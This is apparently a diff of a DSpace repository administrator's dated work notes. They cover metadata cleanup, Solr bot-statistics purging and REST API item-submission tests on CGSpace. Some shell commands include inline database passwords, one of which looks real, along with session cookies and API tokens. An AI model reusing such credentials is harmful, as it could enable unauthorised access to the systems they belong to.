+EAST AFRICA,EASTERN AFRICA
+WEST AFRICA,WESTERN AFRICA
+SOUTHEAST ASIA,SOUTHEASTERN ASIA
+SOUTH ASIA,SOUTHERN ASIA
+AFRICA SOUTH OF SAHARA,SUB-SAHARAN AFRICA
+NORTH AFRICA,NORTHERN AFRICA
+WEST ASIA,WESTERN ASIA
+SOUTHWEST ASIA,SOUTHWESTERN ASIA
+$ ./fix-metadata-values.py -i 2020-09-10-fix-cgspace-regions.csv -db dspace -u dspace -p 'fuuu' -f cg.coverage.region -t 'correct' -m 227 -d -n
+Connected to database.
+Would fix 12227 occurences of: EAST AFRICA
+Would fix 7996 occurences of: WEST AFRICA
+Would fix 3515 occurences of: SOUTHEAST ASIA
+Would fix 3443 occurences of: SOUTH ASIA
+Would fix 1134 occurences of: AFRICA SOUTH OF SAHARA
+Would fix 357 occurences of: NORTH AFRICA
+Would fix 81 occurences of: WEST ASIA
+Would fix 3 occurences of: SOUTHWEST ASIA
+
    +
  • I think we need to wait for the web team, though, as they need to update their mappings +
      +
    • Not to mention that we’ll need to give WLE and CCAFS time to update their harvesters as well… hmmm
      • +
    +
    • +
  • Looking at the top user agents active on CGSpace in 2020-08 and I see: +
      +
    • Delphi 2009: 235353 (this is GARDIAN harvester I guess, as the IP is in Greece)
      • +
    • Mozilla/4.5 (compatible; HTTrack 3.0x; Windows 98): 57004 (IP is 18.196.100.94, and the requests seem to be for CTA’s content)
      • +
    • RTB website BOT: 12282
      • +
    • ILRI Livestock Website Publications importer BOT: 9393
      • +
    +
    • +
  • Shit, I meant to add Delphi to the DSpace spider agents list last month but I guess I didn’t commit the change
    • +
  • HTTrack is in the agents list so I’m not sure why DSpace registers a hit from that request
    • +
  • Also, I am surprised to see the RTB and ILRI bots here because they have “BOT” in the name and that should also be dropped
    • +
  • I also see hits from curl and Java/1.8.0_66 and Apache-HttpClient so WTF… those are supposed to be dropped by the default agents list
    • +
  • Some IP 2607:f298:5:101d:f816:3eff:fed9:a484 made 9,000 requests with the RI/1.0 user agent this year… +
      +
    • That’s on DreamHost…?
      • +
    +
    • +
  • I purged 448658 hits from these agents and added Delphi to our local agents overload for Solr as well as Tomcat’s Crawler Session Manager Valve so that it forces them to re-use a single session
    • +
  • I made a pull request on the COUNTER-Robots project for the Daum robot: https://github.com/atmire/COUNTER-Robots/pull/38 +
      +
    • This bot made 8,000 requests to CGSpace this year
      • +
    • I purged about 20,000 total requests from this bot from our Solr stats for the last few years
      • +
    +
    • +
+

2020-09-11

+
    +
  • Peter noticed that an export from AReS shows some items with zero views and others with zero views/downloads, but on CGSpace and in the statistics API there are views/downloads +
      +
    • I need to ask Moayad…
      • +
    +
    • +
+

2020-09-12

+
    +
  • Carlos Tejo from the LandPortal emailed to ask for advice about integrating their LandVoc vocabulary, which is a subset of AGROVOC, into DSpace + +
    • +
  • Redeploy the latest 5_x-prod branch on CGSpace, re-run the latest Ansible DSpace playbook, run all system updates, and reboot the server (linode18) +
      +
    • This will bring the latest bot lists for Solr and Tomcat
      • +
    • I had to restart Tomcat 7 three times before all Solr statistics cores came up OK
      • +
    +
    • +
  • Leroy and Carol from CIAT/Bioversity were asking for information about posting to the CGSpace REST API from Sharepoint +
      +
    • I told them that we don’t allow this yet, but that we need to check in the future whether content can be posted to a workflow
      • +
    +
    • +
+

2020-09-15

+
    +
  • Charlotte from Altmetric said they had issues parsing the XML file I sent them last month +
      +
    • I told them that it was mimicking the same format that they had sent me (fourteen pages of XML responses concatenated together)!
      • +
    +
    • +
  • A few days ago IWMI asked us if we can add a new field on CGSpace for their library identifier +
      +
    • The IDs look like this: H049940
      • +
    • I suggested that we use cg.identifier.iwmilibrary
      • +
    • I added it to the input forms and push it to the 5_x-prod and 6.x branches and will re-deploy it in the next few days
      • +
    +
    • +
  • Abenet asked me to import sixty-nine (69) CIP Annual Reports to CGSpace +
      +
    • I looked at the data in OpenRefine and it is very good quality
      • +
    • I only added descriptions to the filename field so that SAFBuilder will add them to the bitstreams on import:
      • +
    +
    • +
+
value + "__description:" + cells["dc.type"].value
+
    +
  • Then I created a SAF bundle with SAFBuilder:
    • +
+
$ ./safbuilder.sh -c ~/Downloads/cip-annual-reports/cip-reports.csv
+
    +
  • And imported them into my local test instance of CGSpace:
    • +
+
$ ~/dspace/bin/dspace import -a -e y.arrr@cgiar.org -m /tmp/2020-09-15-cip-annual-reports.map -s ~/Downloads/cip-annual-reports/SimpleArchiveFormat
+
    +
  • Then I uploaded them to CGSpace
    • +
+

2020-09-16

+
    +
  • Looking further into Carlos Tejos’s question about integrating LandVoc (the AGROVOC subset) into DSpace +
      +
    • I see that you can actually get LandVoc concepts directly from AGROVOC’s SPARQL, for example with this query
      • +
    +
    • +
+

AGROVOC LandVoc SPARQL

+
    +
  • So maybe we can query AGROVOC directly using a similar method to DSpace-CRIS’s GettyAuthority
    • +
  • I wired up DSpace-CRIS’s VIAFAuthority to see how authorities for auto suggested names get stored +
      +
    • After submission you can see the item’s VIAF identifier:
      • +
    +
    • +
+

VIAF authority

+
    +
  • And this identifier is the ID on VIAF, pretty cool!
    • +
+

VIAF entry for Charles Darwin

+
    +
  • I did a similar test with the Getty Thesaurus of Geographic Names (TGN) and it stores the concept URI in the authority:
    • +
+

TGNAuthority

+
    +
  • But the authority values are not exposed anywhere as metadata… +
      +
    • I need to play with it a bit more I guess…
      • +
    +
    • +
  • The nice thing is that the Getty example from DSpace-CRIS uses SPARQL as well, and the TGN authority extends it +
      +
    • We could use a similar model for AGROVOC/LandVoc very easily
      • +
    +
    • +
+

2020-09-17

+
    +
  • Maria from Bioveristy asked about the ORCID identifier for one of her colleagues that seems to have been removed from our list +
      +
    • I re-added it to our controlled vocabulary and added the identifier to fifty-one of his existing items on CGSpace using my script:
      • +
    +
    • +
+
$ cat 2020-09-17-add-bioversity-orcids.csv
+dc.contributor.author,cg.creator.id
+"Etten, Jacob van","Jacob van Etten: 0000-0001-7554-2558"
+"van Etten, Jacob","Jacob van Etten: 0000-0001-7554-2558"
+$ ./add-orcid-identifiers-csv.py -i 2020-09-17-add-bioversity-orcids.csv -db dspace -u dspace -p 'dom@in34sniper'
+
    +
  • I sent a follow-up message to Atmire to look into the two remaining issues with the DSpace 6 upgrade +
      +
    • First is the fact that we have zero results in our Listings and Reports, for any search
      • +
    • Second is the error we get during CSV imports
      • +
    +
    • +
  • Help Natalia and Cathy from Bioversity-CIAT with their OpenSearch query on “trade offs” again +
      +
    • They wanted to build a search query with multiple filters (type, crpsubject, status) and the general query “trade offs”
      • +
    • I found a great reference for DSpace’s OpenSearch syntax (albeit in Finnish, but the example URLs show the syntax clearly)
      • +
    • We can use quotes and AND and OR and even group search parameters with parenthesis!
      • +
    • So now I built a query for Natalia which uses these (showing without URL encoding so you can see the syntax):
      • +
    +
    • +
+
https://cgspace.cgiar.org/open-search/discover?query=type:"Journal Article" AND status:"Open Access" AND crpsubject:"Water, Land and Ecosystems" AND "tradeoffs"&rpp=100
+
    +
  • I noticed that my move-collections.sh script didn’t work on DSpace 6 because of the change from IDs to UUIDs, so I modified it to quote the collection resource_id parameters in the PostgreSQL query
    • +
+

2020-09-18

+
    +
  • Help Natalia with her WLE “tradeoffs” search query again…
    • +
+

2020-09-20

+
    +
  • Deploy latest 5_x-prod branch on CGSpace, run all system updates, and reboot the server +
      +
    • To my great surprise, all the Solr statistics cores came up correctly after reboot
      • +
    +
    • +
  • Deploy latest 6_x-dev branch on DSpace Test, run all system updates and reboot the server
    • +
+

2020-09-22

+
    +
  • Abenet sent some feedback about AReS +
      +
    • The item views and downloads are still incorrect
      • +
    • I looked in the server’s API logs and there are no errors, and the database has many more views/downloads:
      • +
    +
    • +
+
dspacestatistics=# SELECT SUM(views) FROM items;
+   sum
+----------
+ 15714024
+(1 row)
+
+dspacestatistics=# SELECT SUM(downloads) FROM items;
+   sum
+----------
+ 13979911
+(1 row)
+
    +
  • I deleted “Report” from twelve items that had it in their peer review field:
    • +
+
dspace=# BEGIN;
+BEGIN
+dspace=# DELETE FROM metadatavalue WHERE text_value='Report' AND resource_type_id=2 AND metadata_field_id=68;
+DELETE 12
+dspace=# COMMIT;
+
    +
  • I added all CG center- and CRP-specific subject fields and mapped them to dc.subject in AReS
    • +
  • After forcing a re-harvesting now the review status is much cleaner and the missing subjects are available
    • +
  • Last week Natalia from CIAT had asked me to download all the PDFs for a certain query: +
      +
    • items with status “Open Access”
      • +
    • items with type “Journal Article”
      • +
    • items containing any of the following words: water land and ecosystems & trade offs
      • +
    • The resulting OpenSearch query is: https://cgspace.cgiar.org/open-search/discover?query=type:"Journal Article" AND status:“Open Access” AND Water Land Ecosystems trade offs&rpp=1
      • +
    • There were 241 results with a total of 208 PDFs, which I downloaded with my get-wle-pdfs.py script and shared to her via bashupload.com
      • +
    +
    • +
+

2020-09-23

+
    +
  • Peter said he was having problems submitting items to CGSpace +
      +
    • On a hunch I looked at the PostgreSQL locks in Munin and indeed the normal issue with locks is back (though I haven’t seen it in a few months?)
      • +
    +
    • +
+

PostgreSQL connections day

+
    +
  • Instead of restarting Tomcat I restarted the PostgreSQL service and then Peter said he was able to submit the item…
    • +
  • Experiment with doing direct queries for items in the dspace-statistics-api +
      +
    • I tested querying a handful of item UUIDs with a date range and returning their hits faceted by id
      • +
    • Assuming a list of item UUIDs was posted to the REST API we could prepare them for a Solr query by joining them into a string with “OR” and escaping the hyphens:
      • +
    +
    • +
+
...
+item_ids = ['0079470a-87a1-4373-beb1-b16e3f0c4d81', '007a9df1-0871-4612-8b28-5335982198cb']
+item_ids_str = ' OR '.join(item_ids).replace('-', '\-')
+...
+solr_query_params = {
+    "q": f"id:({item_ids_str})",
+    "fq": "type:2 AND isBot:false AND statistics_type:view AND time:[2020-01-01T00:00:00Z TO 2020-09-02T00:00:00Z]",
+    "facet": "true",
+    "facet.field": "id",
+    "facet.mincount": 1,
+    "facet.limit": 1,
+    "facet.offset": 0,
+    "stats": "true",
+    "stats.field": "id",
+    "stats.calcdistinct": "true",
+    "shards": shards,
+    "rows": 0,
+    "wt": "json",
+}
+
    +
  • The date range format for Solr is important, but it seems we only need to add T00:00:00Z to the normal ISO 8601 YYYY-MM-DD strings
    • +
+

2020-09-25

+
    +
  • I did some more work on the dspace-statistics-api and finalized the support for sending a POST to /items:
    • +
+
$ curl -s -d @request.json https://dspacetest.cgiar.org/rest/statistics/items | json_pp
+{
+   "currentPage" : 0,
+   "limit" : 10,
+   "statistics" : [
+      {
+         "downloads" : 3329,
+         "id" : "b2c1bbfd-65b0-438c-9e49-d271c49b2696",
+         "views" : 1565
+      },
+      {
+         "downloads" : 3797,
+         "id" : "f44cf173-2344-4eb2-8f00-ee55df32c76f",
+         "views" : 48
+      },
+      {
+         "downloads" : 11064,
+         "id" : "8542f9da-9ce1-4614-abf4-f2e3fdb4b305",
+         "views" : 26
+      },
+      {
+         "downloads" : 6782,
+         "id" : "2324aa41-e9de-4a2b-bc36-16241464683e",
+         "views" : 19
+      },
+      {
+         "downloads" : 48,
+         "id" : "0fe573e7-042a-4240-a4d9-753b61233908",
+         "views" : 12
+      },
+      {
+         "downloads" : 0,
+         "id" : "000e61ca-695d-43e5-9ab8-1f3fd7a67a32",
+         "views" : 4
+      },
+      {
+         "downloads" : 0,
+         "id" : "000dc7cd-9485-424b-8ecf-78002613cc87",
+         "views" : 1
+      },
+      {
+         "downloads" : 0,
+         "id" : "000e1616-3901-4431-80b1-c6bc67312d8c",
+         "views" : 1
+      },
+      {
+         "downloads" : 0,
+         "id" : "000ea897-5557-49c7-9f54-9fa192c0f83b",
+         "views" : 1
+      },
+      {
+         "downloads" : 0,
+         "id" : "000ec427-97e5-4766-85a5-e8dd62199ab5",
+         "views" : 1
+      }
+   ],
+   "totalPages" : 13
+}
+
    +
  • I deployed it on DSpace Test and sent a note to Salem so he can test it
    • +
  • I still need to add tests…
    • +
  • After that I will probably tag it as version 1.3.0
    • +
+

2020-09-25

+
    +
  • Atmire responded with some notes about the issues we’re having with CUA and L&R on DSpace Test +
      +
    • They think they have found the reason the issues are happening…
      • +
    +
    • +
+

2020-09-29

+
    +
  • Atmire sent a pull request yesterday with a potential fix for the Listings and Reports (L&R) issue +
      +
    • I tried to build it on DSpace Test but I got an HTTP 401 Unauthorized for the artifact
      • +
    • I sent them a message…
      • +
    +
    • +
+

2020-09-30

+
    +
  • Experiment with re-creating IWMI’s “Monthly Abstract” type report with an AReS template +
      +
    • The template library for reports is: https://docxtemplater.com
      • +
    • Conditions start with a pound and end with a slash: {#items} {/items}
      • +
    • An inverted section begins with a caret (hat) and ends with a slash: {^citation} No citation{/citation}
      • +
    • I found a bug: templates with a space in the file name don’t download
      • +
    • It would be nice if we could use angular expressions to make more complex templates +
        +
      • Ability to iterate over authors (to change the separator)
        • +
      • Ability to get item number in a loop (for a list)
        • +
      • To do things like checking if a CRP is “WLE”
        • +
      +
      • +
    +
    • +
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2020-10/index.html b/docs/2020-10/index.html new file mode 100644 index 000000000..6f7b98dc2 --- /dev/null +++ b/docs/2020-10/index.html @@ -0,0 +1,1295 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + October, 2020 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

October, 2020

+

+ + in + Notes + + +

+
+

2020-10-06

+
    +
  • Add tests for the new /items POST handlers to the DSpace 6.x branch of my dspace-statistics-api + +
    • +
  • Trying to test the changes Atmire sent last week but I had to re-create my local database from a recent CGSpace dump +
      +
    • During the FlywayDB migration I got an error:
      • +
    +
    • +
+
2020-10-06 21:36:04,138 ERROR org.hibernate.engine.jdbc.spi.SqlExceptionHelper @ Batch entry 0 update public.bitstreamformatregistry set description='Electronic publishing', internal='FALSE', mimetype='application/epub+zip', short_description='EPUB', support_level=1 where bitstream_format_id=78 was aborted: ERROR: duplicate key value violates unique constraint "bitstreamformatregistry_short_description_key"
+  Detail: Key (short_description)=(EPUB) already exists.  Call getNextException to see other errors in the batch.
+2020-10-06 21:36:04,138 WARN  org.hibernate.engine.jdbc.spi.SqlExceptionHelper @ SQL Error: 0, SQLState: 23505
+2020-10-06 21:36:04,138 ERROR org.hibernate.engine.jdbc.spi.SqlExceptionHelper @ ERROR: duplicate key value violates unique constraint "bitstreamformatregistry_short_description_key"
+  Detail: Key (short_description)=(EPUB) already exists.
+2020-10-06 21:36:04,142 ERROR org.hibernate.engine.jdbc.batch.internal.BatchingBatch @ HHH000315: Exception executing batch [could not execute batch]
+2020-10-06 21:36:04,143 ERROR org.dspace.storage.rdbms.DatabaseRegistryUpdater @ Error attempting to update Bitstream Format and/or Metadata Registries
+org.hibernate.exception.ConstraintViolationException: could not execute batch
+	at org.hibernate.exception.internal.SQLStateConversionDelegate.convert(SQLStateConversionDelegate.java:129)
+	at org.hibernate.exception.internal.StandardSQLExceptionConverter.convert(StandardSQLExceptionConverter.java:49)
+	at org.hibernate.engine.jdbc.spi.SqlExceptionHelper.convert(SqlExceptionHelper.java:124)
+	at org.hibernate.engine.jdbc.batch.internal.BatchingBatch.performExecution(BatchingBatch.java:122)
+	at org.hibernate.engine.jdbc.batch.internal.BatchingBatch.doExecuteBatch(BatchingBatch.java:101)
+	at org.hibernate.engine.jdbc.batch.internal.AbstractBatchImpl.execute(AbstractBatchImpl.java:161)
+	at org.hibernate.engine.jdbc.internal.JdbcCoordinatorImpl.executeBatch(JdbcCoordinatorImpl.java:207)
+	at org.hibernate.engine.spi.ActionQueue.executeActions(ActionQueue.java:390)
+	at org.hibernate.engine.spi.ActionQueue.executeActions(ActionQueue.java:304)
+	at org.hibernate.event.internal.AbstractFlushingEventListener.performExecutions(AbstractFlushingEventListener.java:349)
+	at org.hibernate.event.internal.DefaultFlushEventListener.onFlush(DefaultFlushEventListener.java:56)
+	at org.hibernate.internal.SessionImpl.flush(SessionImpl.java:1195)
+	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+	at java.lang.reflect.Method.invoke(Method.java:498)
+	at org.hibernate.context.internal.ThreadLocalSessionContext$TransactionProtectionWrapper.invoke(ThreadLocalSessionContext.java:352)
+	at com.sun.proxy.$Proxy162.flush(Unknown Source)
+	at org.dspace.core.HibernateDBConnection.commit(HibernateDBConnection.java:83)
+	at org.dspace.core.Context.commit(Context.java:435)
+	at org.dspace.core.Context.complete(Context.java:380)
+	at org.dspace.administer.MetadataImporter.loadRegistry(MetadataImporter.java:164)
+	at org.dspace.storage.rdbms.DatabaseRegistryUpdater.updateRegistries(DatabaseRegistryUpdater.java:72)
+	at org.dspace.storage.rdbms.DatabaseRegistryUpdater.afterMigrate(DatabaseRegistryUpdater.java:121)
+	at org.flywaydb.core.internal.command.DbMigrate$3.doInTransaction(DbMigrate.java:250)
+	at org.flywaydb.core.internal.util.jdbc.TransactionTemplate.execute(TransactionTemplate.java:72)
+	at org.flywaydb.core.internal.command.DbMigrate.migrate(DbMigrate.java:246)
+	at org.flywaydb.core.Flyway$1.execute(Flyway.java:959)
+	at org.flywaydb.core.Flyway$1.execute(Flyway.java:917)
+	at org.flywaydb.core.Flyway.execute(Flyway.java:1373)
+	at org.flywaydb.core.Flyway.migrate(Flyway.java:917)
+	at org.dspace.storage.rdbms.DatabaseUtils.updateDatabase(DatabaseUtils.java:663)
+	at org.dspace.storage.rdbms.DatabaseUtils.updateDatabase(DatabaseUtils.java:575)
+	at org.dspace.storage.rdbms.DatabaseUtils.updateDatabase(DatabaseUtils.java:551)
+	at org.dspace.core.Context.<clinit>(Context.java:103)
+	at org.dspace.app.util.AbstractDSpaceWebapp.register(AbstractDSpaceWebapp.java:74)
+	at org.dspace.app.util.DSpaceWebappListener.contextInitialized(DSpaceWebappListener.java:31)
+	at org.apache.catalina.core.StandardContext.listenerStart(StandardContext.java:5197)
+	at org.apache.catalina.core.StandardContext.startInternal(StandardContext.java:5720)
+	at org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:183)
+	at org.apache.catalina.core.ContainerBase.addChildInternal(ContainerBase.java:1016)
+	at org.apache.catalina.core.ContainerBase.addChild(ContainerBase.java:992)
+
    +
  • I checked the database migrations with dspace database info and they were all OK +
      +
    • Then I restarted the Tomcat again and it started up OK…
      • +
    +
    • +
  • There were two issues I had reported to Atmire last month: +
      +
    • Importing items from the command line throws a NullPointerException from com.atmire.dspace.cua.CUASolrLoggerServiceImpl for every item, but the item still gets imported
      • +
    • No results for author name in Listing and Reports, despite there being hits in Discovery search
      • +
    +
    • +
  • To test the first one I imported a very simple CSV file with one item with minimal data +
      +
    • There is a new error now (but the item does get imported):
      • +
    +
    • +
+
$ dspace metadata-import -f /tmp/2020-10-06-import-test.csv -e aorth@mjanja.ch
+Loading @mire database changes for module MQM
+Changes have been processed
+-----------------------------------------------------------
+New item:
+ + New owning collection (10568/3): ILRI articles in journals
+ + Add    (dc.contributor.author): Orth, Alan
+ + Add    (dc.date.issued): 2020-09-01
+ + Add    (dc.title): Testing CUA import NPE
+
+1 item(s) will be changed
+
+Do you want to make these changes? [y/n] y
+-----------------------------------------------------------
+New item: aff5e78d-87c9-438d-94f8-1050b649961c (10568/108548)
+ + New owning collection  (10568/3): ILRI articles in journals
+ + Added   (dc.contributor.author): Orth, Alan
+ + Added   (dc.date.issued): 2020-09-01
+ + Added   (dc.title): Testing CUA import NPE
+Tue Oct 06 22:06:14 CEST 2020 | Query:containerItem:aff5e78d-87c9-438d-94f8-1050b649961c
+Error while updating
+org.apache.solr.client.solrj.impl.HttpSolrServer$RemoteSolrException: Expected mime type application/octet-stream but got text/html. <!doctype html><html lang="en"><head><title>HTTP Status 404 – Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 – Not Found</h1><hr class="line" /><p><b>Type</b> Status Report</p><p><b>Message</b> The requested resource [/solr/update] is not available</p><p><b>Description</b> The origin server did not find a current representation for the target resource or is not willing to disclose that one exists.</p><hr class="line" /><h3>Apache Tomcat/7.0.104</h3></body></html>
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.executeMethod(HttpSolrServer.java:512)
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.request(HttpSolrServer.java:210)
+        at org.apache.solr.client.solrj.impl.HttpSolrServer.request(HttpSolrServer.java:206)
+        at org.apache.solr.client.solrj.request.AbstractUpdateRequest.process(AbstractUpdateRequest.java:124)
+        at org.apache.solr.client.solrj.SolrServer.commit(SolrServer.java:168)
+        at com.atmire.dspace.cua.CUASolrLoggerServiceImpl$5.visit(SourceFile:1131)
+        at com.atmire.dspace.cua.CUASolrLoggerServiceImpl.visitEachStatisticShard(SourceFile:212)
+        at com.atmire.dspace.cua.CUASolrLoggerServiceImpl.update(SourceFile:1104)
+        at com.atmire.dspace.cua.CUASolrLoggerServiceImpl.update(SourceFile:1093)
+        at org.dspace.statistics.StatisticsLoggingConsumer.consume(SourceFile:104)
+        at org.dspace.event.BasicDispatcher.consume(BasicDispatcher.java:177)
+        at org.dspace.event.BasicDispatcher.dispatch(BasicDispatcher.java:123)
+        at org.dspace.core.Context.dispatchEvents(Context.java:455)
+        at org.dspace.core.Context.commit(Context.java:424)
+        at org.dspace.core.Context.complete(Context.java:380)
+        at org.dspace.app.bulkedit.MetadataImport.main(MetadataImport.java:1399)
+        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+        at java.lang.reflect.Method.invoke(Method.java:498)
+        at org.dspace.app.launcher.ScriptLauncher.runOneCommand(ScriptLauncher.java:229)
+        at org.dspace.app.launcher.ScriptLauncher.main(ScriptLauncher.java:81)
+
    +
  • Also, I tested Listings and Reports and there are still no hits for “Orth, Alan” as a contributor, despite there being dozens of items in the repository and the Solr query generated by Listings and Reports actually returning hits:
    • +
+
2020-10-06 22:23:44,116 INFO org.apache.solr.core.SolrCore @ [search] webapp=/solr path=/select params={q=*:*&fl=handle,search.resourcetype,search.resourceid,search.uniqueid&start=0&fq=NOT(withdrawn:true)&fq=NOT(discoverable:false)&fq=search.resourcetype:2&fq=author_keyword:Orth,\+A.+OR+author_keyword:Orth,\+Alan&fq=dateIssued.year:[2013+TO+2021]&rows=500&wt=javabin&version=2} hits=18 status=0 QTime=10 
+
    +
  • Solr returns hits=18 for the L&R query, but there are no result shown in the L&R UI
    • +
  • I sent all this feedback to Atmire…
    • +
+

2020-10-07

+
    +
  • Udana from IWMI had asked about stats discrepencies from reports they had generated in previous months or years +
      +
    • I told him that we very often purge bots and the number of stats can change drastically
      • +
    • Also, I told him that it is not possible to compare stats from previous exports and that the stats should be taking with a grain of salt
      • +
    +
    • +
  • Testing POSTing items to the DSpace 6 REST API +
      +
    • We need to authenticate to get a JSESSIONID cookie first:
      • +
    +
    • +
+
$ http -f POST https://dspacetest.cgiar.org/rest/login email=aorth@fuuu.com 'password=fuuuu'
+$ http https://dspacetest.cgiar.org/rest/status Cookie:JSESSIONID=EABAC9EFF942028AA52DFDA16DBCAFDE
+
    +
  • Then we post an item in JSON format to /rest/collections/{uuid}/items:
    • +
+
$ http POST https://dspacetest.cgiar.org/rest/collections/f10ad667-2746-4705-8b16-4439abe61d22/items Cookie:JSESSIONID=EABAC9EFF942028AA52DFDA16DBCAFDE < item-object.json
+
    +
  • Format of JSON is:
    • +
+
{ "metadata": [
+    {
+      "key": "dc.title",
+      "value": "Testing REST API post",
+      "language": "en_US"
+    },
+    {
+      "key": "dc.contributor.author",
+      "value": "Orth, Alan",
+      "language": "en_US"
+    },
+    {
+      "key": "dc.date.issued",
+      "value": "2020-09-01",
+      "language": "en_US"
+    }
+  ],
+  "archived":"false",
+  "withdrawn":"false"
+}
+
    +
  • What is unclear to me is the archived parameter, it seems to do nothing… perhaps it is only used for the /items endpoint when printing information about an item +
      +
    • If I submit to a collection that has a workflow, even as a super admin and with “archived=false” in the JSON, the item enters the workflow (“Awaiting editor’s attention”)
      • +
    • If I submit to a new collection without a workflow the item gets archived immediately
      • +
    • I created some notes to share with Salem and Leroy for future reference when we start discussion POSTing items to the REST API
      • +
    +
    • +
  • I created an account for Salem on DSpace Test and added it to the submitters group of an ICARDA collection with no other workflow steps so we can see what happens +
      +
    • We are curious to see if he gets a UUID when posting from MEL
      • +
    +
    • +
  • I did some tests by adding his account to certain workflow steps and trying to POST the item
    • +
  • Member of collection “Submitters” step: +
      +
    • HTTP Status 401 – Unauthorized
      • +
    • The request has not been applied because it lacks valid authentication credentials for the target resource.
      • +
    +
    • +
  • Member of collection “Accept/Reject” step: +
      +
    • Same error…
      • +
    +
    • +
  • Member of collection “Accept/Reject/Edit Metadata” step: +
      +
    • Same error…
      • +
    +
    • +
  • Member of collection Administrators with no other workflow steps…: +
      +
    • Posts straight to archive
      • +
    +
    • +
  • Member of collection Administrators with empty “Accept/Reject/Edit Metadata” step: +
      +
    • Posts straight to archive
      • +
    +
    • +
  • Member of collection Administrators with populated “Accept/Reject/Edit Metadata” step: +
      +
    • Does not post straight to archive, goes to workflow
      • +
    +
    • +
  • Note that community administrators have no role in item submission other than being able to create/manage collection groups
    • +
+

2020-10-08

+
    +
  • I did some testing of the DSpace 5 REST API because Salem and I were curious +
      +
    • The authentication is a little different (uses a serialized JSON object instead of a form and the token is an HTTP header instead of a cookie):
      • +
    +
    • +
+
$ http POST http://localhost:8080/rest/login email=aorth@fuuu.com 'password=ddddd'
+$ http http://localhost:8080/rest/status rest-dspace-token:d846f138-75d3-47ba-9180-b88789a28099
+$ http POST http://localhost:8080/rest/collections/1549/items rest-dspace-token:d846f138-75d3-47ba-9180-b88789a28099 < item-object.json
+
    +
  • The item submission works exactly the same as in DSpace 6:
    • +
+
    +
  1. The submitting user must be a collection admin
    2. +
  2. If the collection has a workflow the item will enter it and the API returns an item ID
    3. +
  3. If the collection does not have a workflow then the item is committed to the archive and you get a Handle
    4. +
+

2020-10-09

+
    +
  • Skype with Peter about AReS and CGSpace +
      +
    • We discussed removing Atmire Listings and Reports from DSpace 6 because we can probably make the same reports in AReS and this module is the one that is currently holding us back from the upgrade
      • +
    • We discussed allowing partners to submit content via the REST API and perhaps making it an extra fee due to the burden it incurs with unfinished submissions, manual duplicate checking, developer support, etc
      • +
    • He was excited about the possibility of using my statistics API for more things on AReS as well as item view pages
      • +
    +
    • +
  • Also I fixed a bunch of the CRP mappings in the AReS value mapper and started a fresh re-indexing
    • +
+

2020-10-12

+
    +
  • Looking at CGSpace’s Solr statistics for 2020-09 and I see: +
      +
    • RTB website BOT: 212916
      • +
    • Java/1.8.0_66: 3122
      • +
    • Mozilla/5.0 (compatible; um-LN/1.0; mailto: techinfo@ubermetrics-technologies.com; Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1: 614
      • +
    • omgili/0.5 +http://omgili.com: 272
      • +
    • Mozilla/5.0 (compatible; TrendsmapResolver/0.1): 199
      • +
    • Vizzit: 160
      • +
    • Scoop.it: 151
      • +
    +
    • +
  • I’m confused because a pattern for bot has existed in the default DSpace spider agents file forever… +
      +
    • I see 259,000 hits in CGSpace’s 2020 Solr core when I search for this: userAgent:/.*[Bb][Oo][Tt].*/ +
        +
      • This includes 228,000 for RTB website BOT and 18,000 for ILRI Livestock Website Publications importer BOT
        • +
      +
      • +
    • I made a few requests to DSpace Test with the RTB user agent to see if it gets logged or not:
      • +
    +
    • +
+
$ http --print Hh https://dspacetest.cgiar.org/rest/bitstreams/dfa1d9c3-75d3-4380-a9d3-4c8cbbed2d21/retrieve User-Agent:"RTB website BOT"
+$ http --print Hh https://dspacetest.cgiar.org/rest/bitstreams/dfa1d9c3-75d3-4380-a9d3-4c8cbbed2d21/retrieve User-Agent:"RTB website BOT"
+$ http --print Hh https://dspacetest.cgiar.org/rest/bitstreams/dfa1d9c3-75d3-4380-a9d3-4c8cbbed2d21/retrieve User-Agent:"RTB website BOT"
+$ http --print Hh https://dspacetest.cgiar.org/rest/bitstreams/dfa1d9c3-75d3-4380-a9d3-4c8cbbed2d21/retrieve User-Agent:"RTB website BOT"
+
    +
  • After a few minutes I saw these four hits in Solr… WTF +
      +
    • So is there some issue with DSpace’s parsing of the spider agent files?
      • +
    • I added RTB website BOT to the ilri pattern file, restarted Tomcat, and made four more requests to the bitstream
      • +
    • These four requests were recorded in Solr too, WTF!
      • +
    • It seems like the patterns aren’t working at all…
      • +
    • I decided to try something drastic and removed all pattern files, adding only one single pattern bot to make sure this is not because of a syntax or precedence issue
      • +
    • Now even those four requests were recorded in Solr, WTF!
      • +
    • I will try one last thing, to put a single entry with the exact pattern RTB website BOT in a single spider agents pattern file…
      • +
    • Nope! Still records the hits… WTF
      • +
    • As a last resort I tried to use the vanilla DSpace 6 example file
      • +
    • And the hits still get recorded… WTF
      • +
    • So now I’m wondering if this is because of our custom Atmire shit?
      • +
    • I will have to test on a vanilla DSpace instance I guess before I can complain to the dspace-tech mailing list
      • +
    +
    • +
  • I re-factored the check-spider-hits.sh script to read patterns from a text file rather than sed’s stdout, and to properly search for spaces in patterns that use \s because Lucene’s search syntax doesn’t support it (and spaces work just fine) + +
    • +
